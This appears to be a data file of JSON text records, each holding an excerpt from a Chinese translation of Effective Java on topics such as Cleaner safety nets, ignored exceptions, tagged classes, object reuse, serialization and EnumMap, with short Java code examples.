    {"text": "例如，依赖于 Finalizer 和 Cleaner 机制来关闭文件是严重的错误，因为打开的文件描述符是有限的资源。 如果由于系统迟迟没有运行 Finalizer 和 Cleaner 机制而导致许多文件被打开，程序可能会失败，因为它不能再打开文件了。"},
    {"text": "及时执行 Finalizer 和 Cleaner 机制是垃圾收集算法的一个功能，这种算法在不同的实现中有很大的不同。 程序的行为依赖于 Finalizer 和 Cleaner 机制的及时执行，其行为也可能大不不同。"},
    {"text": "在这方面， Cleaner 机制比 Finalizer 机制要好一些，因为 Java 类的创建者可以控制自己 cleaner 机制的线程，但 cleaner 机制仍然在后台运行，在垃圾回收器的控制下运行，但不能保证及时清理。"},
    {"text": "曾经声称做出这种保证的两个方法： System.runFinalizersOnExit 和它的孪生兄弟 Runtime.runFinalizersOnExit ，包含致命的缺陷，并已被弃用了几十年[ThreadStop]。"},
    {"text": "如果使用它们来清理类的所有实例 (在我的机器上的每个实例大约是 500 纳秒)，那么 cleaner 机制的速度与 finalizer 机制的速度相当，但是如果仅将它们用作安全网（ safety net），则 cleaner 机制要快得多，如下所述。"},
    {"text": "在这种环境下，创建，清理和销毁一个对象在我的机器上需要大约 66 纳秒，这意味着如果你不使用安全网的话，需要支付 5 倍 (而不是 50 倍) 的保险。"},
    {"text": "finalizer 机制有一个严重的安全问题：它们会打开你的类来进行 finalizer 机制攻击。 finalizer 机制攻击的想法很简单：如果一个异常是从构造方法或它的序列化中抛出的—— readObject 和 readResolve 方法 (第 12 章)——恶意子类的 finalizer 机制可以运行在本应该“中途夭折（died on the vine）”的部分构造对象上。 finalizer 机制可以在静态字属性记录对对象的引用，防止其被垃圾收集。"},
    {"text": "Final 类不受 finalizer 机制攻击的影响，因为没有人可以编写一个 final 类的恶意子类。 为了保护非 final 类不受 finalizer 机制攻击，编写一个 final 的 finalize 方法，它什么都不做。"},
    {"text": "让你的类实现 AutoCloseable 接口即可，并要求客户在在不再需要时调用每个实例 close 方法，通常使用 try-with-resources 确保终止，即使面对有异常抛出情况（条目 9）。 一个值得一提的细节是实例必须跟踪是否已经关闭：close 方法必须记录在对象里不再有效的属性，其他方法必须检查该属性，如果在对象关闭后调用它们，则抛出 IllegalStateException 异常。"},
    {"text": "与 Finalizer 机制不同，Cleaner 机制不污染一个类的公共 API： // An autocloseable class using a cleaner as a safety net public class Room implements AutoCloseable { private static final Cleaner cleaner = Cleaner.create(); // Resource that requires cleaning. Must not refer to Room! private static class State implements Runnable { int numJunkPiles; // Number of junk piles in this room State( int numJunkPiles) { this .numJunkPiles = numJunkPiles; } // Invoked by close method or cleaner @Override public void run () { System.out.println( \"Cleaning room\" ); numJunkPiles = 0 ; } } // The state of this room, shared with our cleanable private final State state; // Our cleanable. Cleans the room when it’s eligible for gc private final Cleaner.Cleanable cleanable; public Room ( int numJunkPiles) { state = new State(numJunkPiles); cleanable = cleaner.register( this , state); } @Override public void close () { cleanable.clean(); } } 静态内部 State 类拥有 Cleaner 机制清理房间所需的资源。"},
    {"text": "State 类实现了 Runnable 接口，其 run 方法最多只能调用一次，只能被我们在 Room 构造方法中用 Cleaner 机制注册 State 实例时得到的 Cleanable 调用。 对 run 方法的调用通过以下两种方法触发：通常，通过调用 Room 的 close 方法内调用 Cleanable 的 clean 方法来触发。 如果在 Room 实例有资格进行垃圾回收的时候客户端没有调用 close 方法，那么 Cleaner 机制将（希望）调用 State 的 run 方法。"},
    {"text": "行为良好的客户端如下所示： public class Adult { public static void main (String[] args) { try (Room myRoom = new Room( 7 )) { System.out.println( \"Goodbye\" ); } } } 正如你所预料的，运行 Adult 程序会打印 Goodbye 字符串，随后打印 Cleaning room 字符串。 但是如果时不合规矩的程序，它从来不清理它的房间会是什么样的? public class Teenager { public static void main (String[] args) { new Room( 99 ); System.out.println( \"Peace out\" ); } } 你可能期望它打印出 Peace out ，然后打印 Cleaning room 字符串，但在我的机器上，它从不打印 Cleaning room 字符串；"},
    {"text": "77. 不要忽略异常.md 77. 不要忽略异常.md 77. 不要忽略异常 尽管这条建议看上去是显而易见的，但是它却常常被违反，因而值得再次提出来。当 API 的设计者声明一个方法将抛出某个异常的时候，他们等于正在试图说明某些事情。所以，请不要忽略它！要忽略一个异常非常容易，只需将方法调用通过 try 语句包围起来，并包含一个空的 catch 块： // Empty catch block ignores exception - Highly suspect! try { ... } catch ( SomeException e ) { } 空的 catch 块会使异常达不到应有的目的， 即强迫你处理异常的情况。忽略异常就如同忽略火警信号一样——如果把火警信号器关掉了，当真正有火灾发生时，就没有人能看到火警信号了。或许你会侥幸逃过劫难，或许结果将是灾难性的。每当见到空的 catch 块时，应该让警钟长鸣。 有些情形可以忽略异常。比如，关闭 FileinputStream 的时候。因为你还没有改变文件的状态，因此不必执行任何恢复动作，并且已经从文件中读取到所需要的信息，因此不必终止正在进行的操作。即使在这种情况下，把异常记录下来还是明智的做法，因为如果这些异常经常发生，你就可以调查异常的原因。 如果选择忽略异常， catch 块中应该包含一条注释，说明为什么可以这么做，并且变量应该命名为 ignored: Future<Integer> f = exec.submit(planarMap::chromaticNumber); int numColors = 4 ; // Default: guaranteed sufficient for any map try { numColors = f.get( 1L , TimeUnit.SECONDS ); } catch ( TimeoutException | ExecutionException ignored ) { // Use default: minimal coloring is desirable, not required } 本条目中的建议同样适用于受检异常和未受检异常。不管异常代表了可预见的异常条件，还是编程错误，用空的 catch 块忽略它，都将导致程序在遇到错误的情况下悄然地执行下去。然后，有可能在将来的某个点上，当程序不能再容忍与错误源明显相关的问题时，它就会失败。正确地处理异常能够彻底避免失败。只要将异常传播给外界，至少会导致程序迅速失败，从而保留了有助于调试该失败条件的信息。"},
    {"text": "23. 优先使用类层次而不是标签类.md 23. 优先使用类层次而不是标签类.md 23. 优先使用类层次而不是标签类 有时你可能会碰到一个类，它的实例有两个或更多的风格，并且包含一个标签属性（tag field），表示实例的风格。 例如，考虑这个类，它可以表示一个圆形或矩形： // Tagged class - vastly inferior to a class hierarchy! class Figure { enum Shape { RECTANGLE, CIRCLE }; // Tag field - the shape of this figure final Shape shape; // These fields are used only if shape is RECTANGLE double length; double width; // This field is used only if shape is CIRCLE double radius; // Constructor for circle Figure( double radius) { shape = Shape.CIRCLE; this .radius = radius; } // Constructor for rectangle Figure( double length, double width) { shape = Shape.RECTANGLE; this .length = length; this .width = width; } double area () { switch (shape) { case RECTANGLE: return length * width; case CIRCLE: return Math.PI * (radius * radius); default : throw new AssertionError(shape); } } } 这样的标签类具有许多缺点。 他们杂乱无章的样板代码，包括枚举声明，标签属性和 switch 语句。 可读性更差，因为多个实现在一个类中混杂在一起。 内存使用增加，因为实例负担属于其他风格不相关的领域。 属性不能成为 final，除非构造方法初始化不相关的属性，导致更多的样板代码。 构造方法在编译器的帮助下，必须设置标签属性并初始化正确的数据属性：如果初始化错误的属性，程序将在运行时失败。 除非可以修改其源文件，否则不能将其添加到标记的类中。 如果你添加一个风格，你必须记得给每个 switch 语句添加一个 case ，否则这个类将在运行时失败。 最后，一个实例的数据类型没有提供任何关于风格的线索。 总之， 标签类是冗长的，容易出错的，而且效率低下。 幸运的是，像 Java 这样的面向对象的语言为定义一个能够表示多种风格对象的单一数据类型提供了更好的选择：子类型化（subtyping）。标签类仅仅是一个类层次的简单的模仿。 要将标签类转换为类层次，首先定义一个包含抽象方法的抽象类，该标签类的行为取决于标签值。 在 Figure 类中，只有一个这样的方法，就是 area 方法。 这个抽象类是类层次的根。 如果有任何方法的行为不依赖于标签的值，把它们放在这个类中。 同样，如果有所有的方法使用的数据属性，把它们放在这个类。 Figure 类中不存在这种与类型无关的方法或属性。 接下来，为原始标签类的每种类型定义一个根类的具体子类。 在我们的例子中，有两个类型：圆形和矩形。 在每个子类中包含特定于改类型的数据字段。 在我们的例子中，半径属性是属于圆的，长度和宽度属性都是矩形的。 还要在每个子类中包含根类中每个抽象方法的适当实现。 这里是对应于 Figure 类的类层次： // Class hierarchy replacement for a tagged class abstract class Figure { abstract double area () ; } class Circle extends Figure { final double radius; Circle( double radius) { this .radius = radius; } @Override double area () { return Math.PI * (radius * radius); } } class Rectangle extends Figure { final double length; final double width; Rectangle( double length, double width) { this .length = length; this .width = width; } @Override double area () { return length * width; } } 这个类层次纠正了之前提到的标签类的每个缺点。 代码简单明了，不包含原文中的样板文件。 每种类型的实现都是由自己的类来分配的，而这些类都没有被无关的数据属性所占用。 所有的属性是 final 的。 编译器确保每个类的构造方法初始化其数据属性，并且每个类都有一个针对在根类中声明的每个抽象方法的实现。 这消除了由于缺少 switch-case 语句而导致的运行时失败的可能性。 多个程序员可以独立地继承类层次，并且可以相互操作，而无需访问根类的源代码。 每种类型都有一个独立的数据类型与之相关联，允许程序员指出变量的类型，并将变量和输入参数限制为特定的类型。 类层次的另一个优点是可以使它们反映类型之间的自然层次关系，从而提高了灵活性，并提高了编译时类型检查的效率。 假设原始示例中的标签类也允许使用正方形。 类层次可以用来反映一个正方形是一种特殊的矩形（假设它们是不可变的）： class Square extends Rectangle { Square( double side) { super (side, side); } } 请注意，上述层中的属性是直接访问的，而不是访问方法。 这里是为了简洁起见，如果类层次是公开的（条目 16），这将是一个糟糕的设计。 总之，标签类很少有适用的情况。 如果你想写一个带有明显标签属性的类，请考虑标签属性是否可以被删除，而类是否被类层次替换。 当遇到一个带有标签属性的现有类时，可以考虑将其重构为一个类层次中。"},
    {"text": "06. 避免创建不必要的对象.md 06. 避免创建不必要的对象.md 6. 避免创建不必要的对象 在每次需要时重用一个对象而不是创建一个新的相同功能对象通常是恰当的。"},
    {"text": "作为一个不应该这样做的极端例子，请考虑以下语句： String s = new String( \"bikini\" ); // DON'T DO THIS! 语句每次执行时都会创建一个新的 String 实例，而这些对象的创建都不是必需的。 String 构造方法 (\"bikini\") 的参数本身就是一个 bikini 实例，它与构造方法创建的所有对象的功能相同。"},
    {"text": "以下是使用正则表达式完成此操作时最简单方法： // Performance can be greatly improved! static boolean isRomanNumeral (String s) { return s.matches( \"^(?=.)M*(C[MD]|D?C{0,3})\" + \"(X[CL]|L?X{0,3})(I[XV]|V?I{0,3})$\" ); } 这个实现的问题在于它依赖于 String.matches 方法。 虽然 String.matches 是检查字符串是否与正则表达式匹配的最简单方法，但它不适合在性能临界的情况下重复使用。"},
    {"text": "为了提高性能，作为类初始化的一部分，将正则表达式显式编译为一个 Pattern 实例（不可变），缓存它，并在 isRomanNumeral 方法的每个调用中重复使用相同的实例： // Reusing expensive object for improved performance public class RomanNumerals { private static final Pattern ROMAN = Pattern.compile( \"^(?=.)M*(C[MD]|D?C{0,3})\" + \"(X[CL]|L?X{0,3})(I[XV]|V?I{0,3})$\" ); static boolean isRomanNumeral (String s) { return ROMAN.matcher(s).matches(); } } 如果经常调用， isRomanNumeral 的改进版本的性能会显著提升。"},
    {"text": "如果包含 isRomanNumeral 方法的改进版本的类被初始化，但该方法从未被调用，则 ROMAN 属性则没必要初始化。 在第一次调用 isRomanNumeral 方法时，可以通过延迟初始化（ lazily initializing）属性（条目 83）来排除初始化，但一般不建议这样做。"},
    {"text": "天真地说，似乎每次调用 keySet 都必须创建一个新的 Set 实例，但是对给定 Map 对象的 keySet 的每次调用都返回相同的 Set 实例。 尽管返回的 Set 实例通常是可变的，但是所有返回的对象在功能上都是相同的：当其中一个返回的对象发生变化时，所有其他对象也都变化，因为它们全部由相同的 Map 实例支持。"},
    {"text": "要做到这一点，程序必须使用 long 类型，因为 int 类型不足以保存所有正整数的总和： // Hideously slow! Can you spot the object creation? private static long sum () { Long sum = 0L ; for ( long i = 0 ; i <= Integer.MAX_VALUE; i++) sum += i; return sum; } 这个程序的结果是正确的，但由于写错了一个字符，运行的结果要比实际慢很多。 变量 sum 被声明成了 Long 而不是 long ，这意味着程序构造了大约 231 不必要的 Long 实例（大约每次往 Long 类型的 sum 变量中增加一个 long 类型构造的实例），把 sum 变量的类型由 Long 改为 long ，在我的机器上运行时间从 6.3 秒降低到 0.59 秒。"},
    {"text": "目前的条目说：“当你应该重用一个现有的对象时，不要创建一个新的对象”，而条目 50 说：“不要重复使用现有的对象，当你应该创建一个新的对象时。"},
    {"text": "15. 使类和成员的可访问性最小化.md 15. 使类和成员的可访问性最小化.md 15. 使类和成员的可访问性最小化 将设计良好的组件与设计不佳的组件区分开来的最重要的因素是，组件将其内部数据和其他组件的其他实现细节隐藏起来。"},
    {"text": "虽然信息隐藏本身并不会导致良好的性能，但它可以有效地进行性能调整：一旦系统完成并且分析确定了哪些组件导致了性能问题（条目 67），则可以优化这些组件，而不会影响别人的正确的组件。"},
    {"text": "通过将其设置为包级私有，可以将其作为实现的一部分，而不是导出的 API，你可以修改它、替换它，或者在后续版本中消除它，而不必担心损害现有的客户端。"},
    {"text": "但是，减少不必要的公共类的可访问性要比包级私有的顶级类更重要：公共类是包的 API 的一部分，而包级私有的顶级类已经是这个包实现的一部分了。"},
    {"text": "对于成员 (属性、方法、嵌套类和嵌套接口)，有四种可能的访问级别，在这里，按照可访问性从小到大列出： private——该成员只能在声明它的顶级类内访问。"},
    {"text": "这是安全漏洞的常见来源： // Potential security hole! public static final Thing[] VALUES = { ... }; 要小心这样的事实，一些 IDE 生成的访问方法返回对私有数组属性的引用，导致了这个问题。"},
    {"text": "你可以使公共数组私有并添加一个公共的不可变列表： private static final Thing[] PRIVATE_VALUES = { ... }; public static final List<Thing> VALUES = Collections.unmodifiableList(Arrays.asList(PRIVATE_VALUES)); 或者，可以将数组设置为 private，并添加一个返回私有数组拷贝的公共方法： private static final Thing[] PRIVATE_VALUES = { ... }; public static final Thing[] values() { return PRIVATE_VALUES.clone(); } 要在这些方法之间进行选择，请考虑客户端可能如何处理返回的结果。"},
    {"text": "如果将模块的 JAR 文件放在应用程序的类路径而不是其模块路径中，那么模块中的包将恢复为非模块化行为：包的公共类的所有公共类和受保护成员都具有其普通的可访问性，不管包是否由模块导出[Reinhold，1.2]。"},
    {"text": "为了利用它，你必须把你的包组合成模块，在模块声明中明确所有的依赖关系，重新安排你的源码树层级，并采取特殊的行动来适应你的模块内任何对非模块化包的访问[Reinhold ，3]。"},
    {"text": "62. 当使用其他类型更合适时应避免使用字符串.md 62. 当使用其他类型更合适时应避免使用字符串.md 62. 当使用其他类型更合适时应避免使用字符串 字符串被设计用来表示文本，它们在这方面做得很好。因为字符串是如此常见，并且受到 Java 的良好支持，所以很自然地会将字符串用于其他目的，而不是它们适用的场景。本条目讨论了一些不应该使用字符串的场景。 字符串是其他值类型的糟糕替代品。 当一段数据从文件、网络或键盘输入到程序时，它通常是字符串形式的。有一种很自然的倾向是保持这种格式不变，但是这种倾向只有在数据本质上是文本的情况下才合理。如果是数值类型，则应将其转换为适当的数值类型，如 int、float 或 BigInteger。如果是问题的答案，如「是」或「否」这类形式，则应将其转换为适当的枚举类型或布尔值。更一般地说，如果有合适的值类型，无论是基本类型还是对象引用，都应该使用它；如果没有，你应该写一个。虽然这条建议似乎很多余，但经常被违反。 字符串是枚举类型的糟糕替代品。 正如条目 34 中所讨论的，枚举类型常量比字符串更适合于枚举类型常量。 字符串是聚合类型的糟糕替代品。 如果一个实体有多个组件，将其表示为单个字符串通常是一个坏主意。例如，下面这行代码来自一个真实的系统标识符，它的名称已经被更改，以免引发罪责： // Inappropriate use of string as aggregate type String compoundKey = className + \"#\" + i.next(); 这种方法有很多缺点。如果用于分隔字段的字符出现在其中一个字段中，可能会导致混乱。要访问各个字段，你必须解析字符串，这是缓慢的、冗长的、容易出错的过程。你不能提供 equals、toString 或 compareTo 方法，但必须接受 String 提供的行为。更好的方法是编写一个类来表示聚合，通常是一个私有静态成员类（详见第 24 条）。 字符串不能很好地替代 capabilities。 有时，字符串用于授予对某些功能的访问权。例如，考虑线程本地变量机制的设计。这样的机制提供了每个线程都有自己的变量值。自 1.2 版以来，Java 库就有了一个线程本地变量机制，但在此之前，程序员必须自己设计。许多年前，当面临设计这样一个机制的任务时，有人提出了相同的设计，其中客户端提供的字符串键，用于标识每个线程本地变量： // Broken - inappropriate use of string as capability! public class ThreadLocal { private ThreadLocal () { } // Noninstantiable // Sets the current thread's value for the named variable. public static void set (String key, Object value) ; // Returns the current thread's value for the named variable. public static Object get (String key) ; } 这种方法的问题在于，字符串键表示线程本地变量的共享全局名称空间。为了使这种方法有效，客户端提供的字符串键必须是惟一的：如果两个客户端各自决定为它们的线程本地变量使用相同的名称，它们无意中就会共享一个变量，这通常会导致两个客户端都失败。而且，安全性很差。恶意客户端可以故意使用与另一个客户端相同的字符串密钥来非法访问另一个客户端的数据。 这个 API 可以通过用一个不可伪造的键（有时称为 capability）替换字符串来修复： public class ThreadLocal { private ThreadLocal () { } // Noninstantiable public static class Key { // (Capability) Key() { } } // Generates a unique, unforgeable key public static Key getKey () { return new Key(); } public static void set (Key key, Object value) ; public static Object get (Key key) ; } 虽然这解决了 API 中基于字符串的两个问题，但是你可以做得更好。你不再真正需要静态方法。它们可以变成键上的实例方法，此时键不再是线程局部变量：而是线程局部变量。此时，顶层类不再为你做任何事情，所以你可以删除它，并将嵌套类重命名为 ThreadLocal： public final class ThreadLocal { public ThreadLocal () ; public void set (Object value) ; public Object get () ; } 这个 API 不是类型安全的，因为在从线程本地变量检索值时，必须将值从 Object 转换为它的实际类型。原始的基于 String 类型 API 的类型安全是不可能实现的，基于键的 API 的类型安全也是很难实现的，但是通过将 ThreadLocal 作为一个参数化的类来实现这个 API 的类型安全很简单（详见第 29 条）： public final class ThreadLocal < T > { public ThreadLocal () ; public void set (T value) ; public T get () ; } 粗略地说，这就是 java.lang.ThreadLocal 提供的 API，除了解决基于字符串的问题之外，它比任何基于键的 API 都更快、更优雅。 总之，当存在或可以编写更好的数据类型时，应避免将字符串用来表示对象。如果使用不当，字符串比其他类型更麻烦、灵活性更差、速度更慢、更容易出错。字符串经常被误用的类型包括基本类型、枚举和聚合类型。"},
    {"text": "66. 明智审慎地本地方法.md 66. 明智审慎地本地方法.md 66. 明智审慎地本地方法 Java 本地接口（JNI）允许 Java 程序调用本地方法，这些方法是用 C 或 C++ 等本地编程语言编写的。从历史上看，本地方法主要有三种用途。它们提供对特定于平台的设施（如注册中心）的访问。它们提供对现有本地代码库的访问，包括提供对遗留数据访问。最后，本地方法可以通过本地语言编写应用程序中注重性能的部分，以提高性能。 使用本地方法访问特定于平台的机制是合法的，但是很少有必要：随着 Java 平台的成熟，它提供了对许多以前只能在宿主平台中上找到的特性。例如，Java 9 中添加的流 API 提供了对 OS 流程的访问。在 Java 中没有等效库时，使用本地方法来使用本地库也是合法的。 为了提高性能，很少建议使用本地方法。 在早期版本（Java 3 之前），这通常是必要的，但是从那时起 JVM 变得更快了。对于大多数任务，现在可以在 Java 中获得类似的性能。例如，在版本 1.1 中添加了 java.math ，BigInteger 是在一个用 C 编写的快速多精度运算库的基础上实现的。在当时，为了获得足够的性能这样做是必要的。在 Java 3 中，BigInteger 则完全用 Java 重写了，并且进行了性能调优，新的版本比原来的版本更快。 这个故事的一个可悲的结尾是，除了在 Java 8 中对大数进行更快的乘法运算之外，BigInteger 此后几乎没有发生什么变化。在此期间，对本地库的工作继续快速进行，尤其是 GNU 多精度算术库（GMP）。需要真正高性能多精度算法的 Java 程序员现在可以通过本地方法使用 GMP [Blum14]。 使用本地方法有严重的缺点。由于本地语言不安全（详见第 50 条），使用本地方法的应用程序不再能免受内存毁坏错误的影响。由于本地语言比 Java 更依赖于平台，因此使用本地方法的程序的可移植性较差。它们也更难调试。如果不小心，本地方法可能会降低性能，因为垃圾收集器无法自动跟踪本地内存使用情况（详见第 8 条），而且进出本地代码会产生相关的成本。最后，本地方法需要「粘合代码」，这很难阅读，而且编写起来很乏味。 总之，在使用本地方法之前要三思。一般很少需要使用它们来提高性能。如果必须使用本地方法来访问底层资源或本地库，请尽可能少地使用本地代码，并对其进行彻底的测试。本地代码中的一个错误就可以破坏整个应用程序。"},
    {"text": "目錄 目錄 Introduction 1.1 01. 考虑使用静态工厂方法替代构造方法.md 1.2 02. 当构造方法参数过多时使用builder模式.md 1.3 03. 使用私有构造方法或枚类实现Singleton属性.md 1.4 04. 使用私有构造方法执行非实例化.md 1.5 05. 使用依赖注入取代硬连接资源(hardwiring resources).md 1.6 06. 避免创建不必要的对象.md 1.7 07. 消除过期的对象引用.md 1.8 08. 避免使用Finalizer和Cleaner机制.md 1.9 09. 使用try-with-resources语句替代try-finally语句.md 1.10 10. 重写equals方法时遵守通用约定.md 1.11 11. 重写equals方法时同时也要重写hashcode方法.md 1.12 12. 始终重写 toString 方法.md 1.13 13. 谨慎地重写 clone 方法.md 1.14 14. 考虑实现Comparable接口.md 1.15 15. 使类和成员的可访问性最小化.md 1.16 16. 在公共类中使用访问方法而不是公共属性.md 1.17 17. 最小化可变性.md 1.18 18. 组合优于继承.md 1.19 19. 如使用继承则设计，应当文档说明，否则不该使用.md 1.20 20. 接口优于抽象类.md 1.21 21. 为后代设计接口.md 1.22 22. 接口仅用来定义类型.md 1.23 23. 优先使用类层次而不是标签类.md 1.24 24. 优先考虑静态成员类.md 1.25 25. 将源文件限制为单个顶级类.md 1.26 26. 不要使用原始类型.md 1.27 27. 消除非检查警告.md 1.28 28. 列表优于数组.md 1.29 29. 优先考虑泛型.md 1.30 30. 优先使用泛型方法.md 1.31 31. 使用限定通配符来增加API的灵活性.md 1.32 32. 合理地结合泛型和可变参数.md 1.33 33. 优先考虑类型安全的异构容器.md 1.34 34. 使用枚举类型替代整型常量.md 1.35 35. 使用实例属性替代序数.md 1.36 36. 使用EnumSet替代位属性.md 1.37 37. 使用EnumMap替代序数索引.md 1.38 38. 使用接口模拟可扩展的枚举.md 1.39 39. 注解优于命名模式.md 1.40 40. 始终使用Override注解.md 1.41 41. 使用标记接口定义类型.md 1.42 42. lambda表达式优于匿名类.md 1.43 43. 方法引用优于lambda表达式.md 1.44 44. 优先使用标准的函数式接口.md 1.45 45. 明智审慎地使用Stream.md 1.46 46. 优先考虑流中无副作用的函数.md 1.47 47. 优先使用Collection而不是Stream来作为方法的返回类型.md 1.48 48. 谨慎使用流并行.md 1.49 49. 检查参数有效性.md 1.50 50. 必要时进行防御性拷贝.md 1.51 51. 仔细设计方法签名.md 1.52 52. 明智审慎地使用重载.md 1.53 53. 明智审慎地使用可变参数.md 1.54 54. 返回空的数组或集合，不要返回 null.md 1.55 55. 明智审慎地返回 Optional.md 1.56 56. 为所有已公开的 API 元素编写文档注释.md 1.57 57. 最小化局部变量的作用域.md 1.58 58. for-each 循环优于传统 for 循环.md 1.59 59. 了解并使用库.md 1.60 60. 若需要精确答案就应避免使用 float 和 double 类型.md 1.61 61. 基本数据类型优于包装类.md 1.62 62. 当使用其他类型更合适时应避免使用字符串.md 1.63 63. 当心字符串连接引起的性能问题.md 1.64 64. 通过接口引用对象.md 1.65 65. 接口优于反射.md 1.66 66. 明智审慎地本地方法.md 1.67 67. 明智审慎地进行优化.md 1.68 68. 遵守被广泛认可的命名约定.md 1.69 69. 只针对异常的情况下才使用异常.md 1.70 70. 对可恢复的情况使用受检异常，对编程错误使用运行时异常.md 1.71 71. 避免不必要的使用受检异常.md 1.72 72. 优先使用标准的异常.md 1.73 73. 抛出与抽象对应的异常.md 1.74 74. 每个方法抛出的异常都需要创建文档.md 1.75 75. 在细节消息中包含失败一捕获信息.md 1.76 76. 保持失败原子性.md 1.77 77. 不要忽略异常.md 1.78 78. 同步访问共享的可变数据.md 1.79 79. 避免过度同步.md 1.80 80. executor 、task 和 stream 优先于线程.md 1.81 81. 相比 wait 和 notify 优先使用并发工具.md 1.82 82. 文档应包含线程安全属性.md 1.83 83. 明智审慎的使用延迟初始化.md 1.84 84. 不要依赖线程调度器.md 1.85 85. 优先选择 Java 序列化的替代方案.md 1.86 86. 非常谨慎地实现 Serializable.md 1.87 87. 考虑使用自定义的序列化形式.md 1.88 88. 保护性的编写 readObject 方法.md 1.89 89. 对于实例控制，枚举类型优于 readResolve.md 1.90 90. 考虑用序列化代理代替序列化实例.md 1.91"},
    {"text": "86. 非常谨慎地实现 Serializable.md 86. 非常谨慎地实现 Serializable.md 86. 非常谨慎地实现 Serializable 使类的实例可序列化非常简单，只需实现 Serializable 接口即可。"},
    {"text": "换句话说，如果你接受默认的序列化形式，类中私有的包以及私有实例字段将成为其导出 API 的一部分，此时最小化字段作用域（详见第 15 条）作为信息隐藏的工具，将失去其有效性。"},
    {"text": "当然，可以在维护原始序列化形式的同时更改内部实现（使用 ObjectOutputStream.putFields 或 ObjectInputStream.readFields），但这可能会很困难，并在源代码中留下明显的缺陷。"},
    {"text": "如果你没有通过声明一个名为 serialVersionUID 的静态 final long 字段来指定这个标识符，那么系统将在运行时对类应用加密散列函数（SHA-1）自动生成它。"},
    {"text": "无论你接受默认行为还是无视它，反序列化都是一个「隐藏构造函数」，其他构造函数具有的所有问题它都有。 由于没有与反序列化关联的显式构造函数，因此很容易忘记必须让它能够保证所有的不变量都是由构造函数建立的，并且不允许攻击者访问正在构造的对象内部。"},
    {"text": "如果一个类要参与一个框架，该框架依赖于 Java 序列化来进行对象传输或持久化，这对于类来说实现 Serializable 接口就是非常重要的。 此外，如果类 A 要成为另一个类 B 的一个组件，类 B 必须实现 Serializable 接口，若类 A 可序列化，它就会更易于被使用。"},
    {"text": "表示活动实体（如线程池）的类很少情况适合实现 Serializable 接口。 为继承而设计的类（详见第 19 条）很少情况适合实现 Serializable 接口，接口也很少情况适合扩展它。"},
    {"text": "例如，如果一个类或接口的存在主要是为了参与一个要求所有参与者都实现 Serializable 接口的框架，那么类或接口实现或扩展 Serializable 可能是有意义的。"},
    {"text": "最后，如果类的实例字段初始化为默认值（整数类型为 0，布尔值为 false，对象引用类型为 null），那么必须添加 readObjectNoData 方法： // readObjectNoData for stateful extendable serializable classes private void readObjectNoData () throws InvalidObjectException { throw new InvalidObjectException( \"Stream data required\" ); } 这个方法是在 Java 4 中添加的，涉及将可序列化超类添加到现有可序列化类 [Serialization, 3.5] 的特殊情况。"},
    {"text": "63. 当心字符串连接引起的性能问题.md 63. 当心字符串连接引起的性能问题.md 63. 当心字符串连接引起的性能问题 字符串连接操作符 (+) 是将几个字符串组合成一个字符串的简便方法。对于生成单行输出或构造一个小的、固定大小的对象的字符串表示形式，它是可以的，但是它不能伸缩。使用 字符串串联运算符重复串联 n 个字符串需要 n 的平方级时间。 这是字符串不可变这一事实导致的结果（ Item-17 ）。当连接两个字符串时，将复制这两个字符串的内容。 例如，考虑这个方法，它通过将每个账单项目重复连接到一行来构造账单语句的字符串表示： // Inappropriate use of string concatenation - Performs poorly! public String statement () { String result = \"\" ; for ( int i = 0 ; i < numItems(); i++) result += lineForItem(i); // String concatenation return result; } 如果项的数量很大，则该方法的性能非常糟糕。 要获得能接受的性能，请使用 StringBuilder 代替 String 来存储正在构建的语句： public String statement () { StringBuilder b = new StringBuilder(numItems() * LINE_WIDTH); for ( int i = 0 ; i < numItems(); i++) b.append(lineForItem(i)); return b.toString(); } 自 Java 6 以来，为了使字符串连接更快，已经做了大量工作，但是这两个方法在性能上的差异仍然很大：如果 numItems 返回 100，lineForItem 返回 80 个字符串，那么第二个方法在我的机器上运行的速度是第一个方法的 6.5 倍。由于第一种方法在项目数量上是平方级的，而第二种方法是线性的，所以随着项目数量的增加，性能差异会变得越来越大。注意，第二个方法预先分配了一个足够大的 StringBuilder 来保存整个结果，从而消除了自动增长的需要。即使使用默认大小的 StringBuilder，它仍然比第一个方法快 5.5 倍。 道理很简单： 不要使用字符串连接操作符合并多个字符串 ，除非性能无关紧要。否则使用 StringBuilder 的 append 方法。或者，使用字符数组，再或者一次只处理一个字符串，而不是组合它们。"},
    {"text": "37. 使用EnumMap替代序数索引.md 37. 使用EnumMap替代序数索引.md 37. 使用 EnumMap 替代序数索引 有时可能会看到使用 ordinal 方法（条目 35）来索引到数组或列表的代码。"},
    {"text": "例如，考虑一下这个简单的类来代表一种植物： class Plant { enum LifeCycle { ANNUAL, PERENNIAL, BIENNIAL } final String name; final LifeCycle lifeCycle; Plant(String name, LifeCycle lifeCycle) { this .name = name; this .lifeCycle = lifeCycle; } @Override public String toString () { return name; } } 现在假设你有一组植物代表一个花园，想要列出这些由生命周期组织的植物 (一年生，多年生，或双年生)。"},
    {"text": "一些程序员可以通过将这些集合放入一个由生命周期序数索引的数组中来实现这一点： // Using ordinal() to index into an array - DON'T DO THIS! Set<Plant>[] plantsByLifeCycle = (Set<Plant>[]) new Set[Plant.LifeCycle.values().length]; for ( int i = 0 ; i < plantsByLifeCycle.length; i++) plantsByLifeCycle[i] = new HashSet<>(); for (Plant p : garden) plantsByLifeCycle[p.lifeCycle.ordinal()].add(p); // Print the results for ( int i = 0 ; i < plantsByLifeCycle.length; i++) { System.out.printf( \"%s: %s%n\" , Plant.LifeCycle.values()[i], plantsByLifeCycle[i]); } 这种方法是有效的，但充满了问题。"},
    {"text": "下面是当程序重写为使用 EnumMap 时的样子： // Using an EnumMap to associate data with an enum Map<Plant.LifeCycle, Set<Plant>> plantsByLifeCycle = new EnumMap<>(Plant.LifeCycle.class); for (Plant.LifeCycle lc : Plant.LifeCycle.values()) plantsByLifeCycle.put(lc, new HashSet<>()); for (Plant p : garden) plantsByLifeCycle.get(p.lifeCycle).add(p); System.out.println(plantsByLifeCycle); 这段程序更简短，更清晰，更安全，运行速度与原始版本相当。"},
    {"text": "EnumMap 与序数索引数组的速度相当，其原因是 EnumMap 内部使用了这样一个数组，但它对程序员的隐藏了这个实现细节，将 Map 的丰富性和类型安全性与数组的速度相结合。"},
